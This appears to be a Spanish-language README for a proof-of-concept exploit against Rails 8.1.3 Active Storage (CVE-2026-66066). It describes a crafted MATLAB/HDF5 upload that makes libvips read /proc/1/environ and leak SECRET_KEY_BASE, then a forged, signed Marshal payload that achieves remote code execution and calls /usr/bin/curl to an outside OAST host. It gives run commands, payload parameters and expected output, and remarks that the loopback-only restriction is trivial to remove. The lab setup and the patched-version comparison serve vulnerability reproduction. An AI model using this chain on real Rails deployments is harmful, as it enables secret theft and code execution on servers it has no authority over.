
PoC para CVE-2026-66066 en Ruby on Rails
Este repositorio reproduce la cadena de lectura-de-archivo-a-RCE de Rails Active Storage descrita en GHSA-xr9x-r78c-5hrm contra Rails 8.1.3, la versión afectada más reciente de Rails 8.1. Rails 8.1.3.1 es el control parcheado.
Úsalo solo en el laboratorio local desechable descrito aquí. El controlador HTTP rechaza objetivos que no sean de loopback (aunque es trivial modificar el código Python para pruebas autorizadas contra otros objetivos).
El objetivo es una aplicación Rails convencional. Su imagen final contiene:
ruby:3.4.10-slim fijada;rails _VERSION_ new;curl, libjemalloc2, libvips,
y sqlite3;./bin/thrust ./bin/rails serverUpload normal con un único adjunto de Active Storage, acciones
HTML ordinarias new, create y show, y una variante de imagen PNG.No contiene un constructor de artefactos, artefacto de subida, controlador de exploit,
constructor de Marshal, código de callback, endpoint de diagnóstico, rastreo de cargador,
script de arranque personalizado, fixture de secreto del objetivo, ni ruta solo-para-exploit. No
establece VIPS_TRACE, no reordena el entorno del proceso, no anula el serializador
de Active Storage, ni configura un procesador de imágenes no predeterminado.
El .dockerignore raíz envía solo Dockerfile y overlay/ a la compilación.
Los scripts Python del lado del host y todos los artefactos generados se excluyen del
contexto de compilación de Docker, no solo se omiten del paso final de copia.
El overlay completo del objetivo son cinco archivos ordinarios:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La página de show usa la transformación normal mínima:
<%= image_tag @upload.avatar.variant(format: :png) %>
Una aplicación Rails nueva sin tocar no tiene modelo de aplicación ni página que acepte un adjunto, por lo que esos cinco archivos son la funcionalidad mínima de aplicación necesaria para representar la condición de subida-de-imagen-no-confiada del aviso.
Los requisitos previos son Docker, OpenSSL, Python 3 y h5py para el
constructor de artefactos.
En la terminal 1:
./run_lab.sh 8.1.3
El script compila minimal-rails-vips:8.1.3, genera un
SECRET_KEY_BASE efímero a menos que ya se haya proporcionado uno, publica la aplicación
solo en 127.0.0.1:3000 y ejecuta el entrypoint generado de la imagen y el
comando predeterminado. No se monta ningún directorio fuente ni artefacto en el objetivo.
Si el puerto 3000 ya está ocupado, selecciona otro puerto de loopback sin cambiar la imagen:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Usa el mismo puerto en --target del controlador.
En la terminal 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py es un constructor y controlador HTTP de un solo uso. A menos que
se proporcione --artifact, construye la subida en un directorio temporal privado,
lo conserva durante toda la secuencia de solicitudes y lo elimina cuando
el proceso sale. Construye ambas etapas en lugar de desempaquetar un payload
estático:
h5py que cree un archivo MATLAB/HDF5 con un bloque de usuario de 512 bytes.uint8 little-endian de 1 × 1024 llamado environment./proc/1/environ, desplazamiento
cero, con una extensión limitada de 1.024 bytes.MATLAB_class="uint8" y escribe el encabezado MATLAB 5.0 usado por
el sniffer matload de libvips.El programa RCE integrado está fijado a /usr/bin/curl con un
array de argumentos estructurado. Realiza un GET a la URL OAST configurada y envía solo
el token de correlación aleatorio rails_ghsa_xr9x. No usa un shell y
no incluye secretos recuperados, salida de comandos, contenido de archivos ni un
identificador del objetivo en el callback.
Los parámetros del artefacto son:
--external-path: archivo absoluto del lado del objetivo, predeterminado /proc/1/environ;--bytes: extensión externa limitada de 128 a 4096, predeterminado 1024;--oast: URL base del callback integrada en el payload; y--nonce: nonce hexadecimal opcional de 16 bytes para un artefacto reproducible.La URL OAST predeterminada es segura para loopback. Proporciona una URL de receptor alcanzable desde el contenedor para la verificación de extremo a extremo.
Para conservar la subida generada para inspección o reutilización, añade una ruta de artefacto:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
Un --artifact existente se valida y reutiliza. En ese caso, --oast, cuando
se proporciona, debe coincidir con su URL de callback integrada. Añade --force para reconstruir y
reemplazarlo atómicamente con los parámetros actuales del constructor.
Para la creación de artefactos sin ninguna solicitud HTTP, el constructor compañero sigue disponible:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target predeterminado es http://127.0.0.1:3000 y está restringido a
loopback literal o localhost.
La salida vulnerable esperada incluye:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Compara oast_nonce en la terminal con el
parámetro de consulta rails_ghsa_xr9x=<nonce> recibido por el servicio OAST. El
HTTP 500 de la solicitud de representación final es esperado: el callback
ocurre mientras se reconstruye el Hash Marshal autenticado, antes de que la
transformación general falle posteriormente.
La parte del constructor requiere h5py; las partes HTTP y criptográficas usan solo
la biblioteca estándar de Python:
image/bmp, luego sube los bytes
construidos.matload no fuzzeada. El PNG
devuelto expone los bytes del dataset externo, incluido el
SECRET_KEY_BASE del runtime.ActiveStorage, lee el
payload Marshal ya construido del artefacto, lo firma para el
propósito variation y solicita la URL de representación resultante./usr/bin/curl y produce
el callback OOB ciego.El objetivo no contribuye con ningún endpoint auxiliar ni gadget de firma. Las clases Ruby
usadas por el grafo serializado provienen de dependencias ya resueltas por un
Gemfile de rails new estándar; la aplicación no las requiere ni configura.
El procesamiento de imágenes permanece en el procesador :vips predeterminado de Rails durante todo el proceso.
Detén la terminal 1 con Ctrl-C, luego ejecuta:
./run_lab.sh 8.1.3.1
Vuelve a ejecutar el mismo comando del controlador combinado. Si se conservó un artefacto, puede
reutilizarse pasando la misma ruta --artifact. El resultado parcheado debería
detenerse en:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
No se devuelven píxeles del entorno, el payload integrado nunca se firma ni
se envía, y no ocurre ningún callback OAST. Active Storage 8.1.3.1 habilita
el bloque de operaciones no confiadas de libvips, por lo que matload se rechaza.
La configuración final del runtime debería ser la generada:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Esperado:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Inspecciona el único script y confirma que los archivos del PoC están ausentes:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
La única entrada de script es /rails/script/.keep creado por el generador.
Las herramientas de compilación y los CLIs de imagen opcionales también permanecen fuera del runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips está presente como biblioteca de runtime compartida aunque sus herramientas CLI no
están instaladas. El grafo de dependencias estándar de Debian proporciona el soporte de formato MAT/HDF5 vinculado.
Dockerfile genera y empaqueta el objetivo mínimo estándar..dockerignore evita que los archivos del lado del atacante entren en el contexto
de compilación.overlay/ contiene solo los cinco archivos normales de la aplicación Rails.run_lab.sh compila y lanza el objetivo sin ejecutar el PoC.rails_vips_oast_poc.py construye la imagen de lectura-de-archivo HDF5 y el payload
OOB configurable, impulsa el flujo HTTP normal, recupera el secreto del verificador,
firma el payload integrado y lo activa.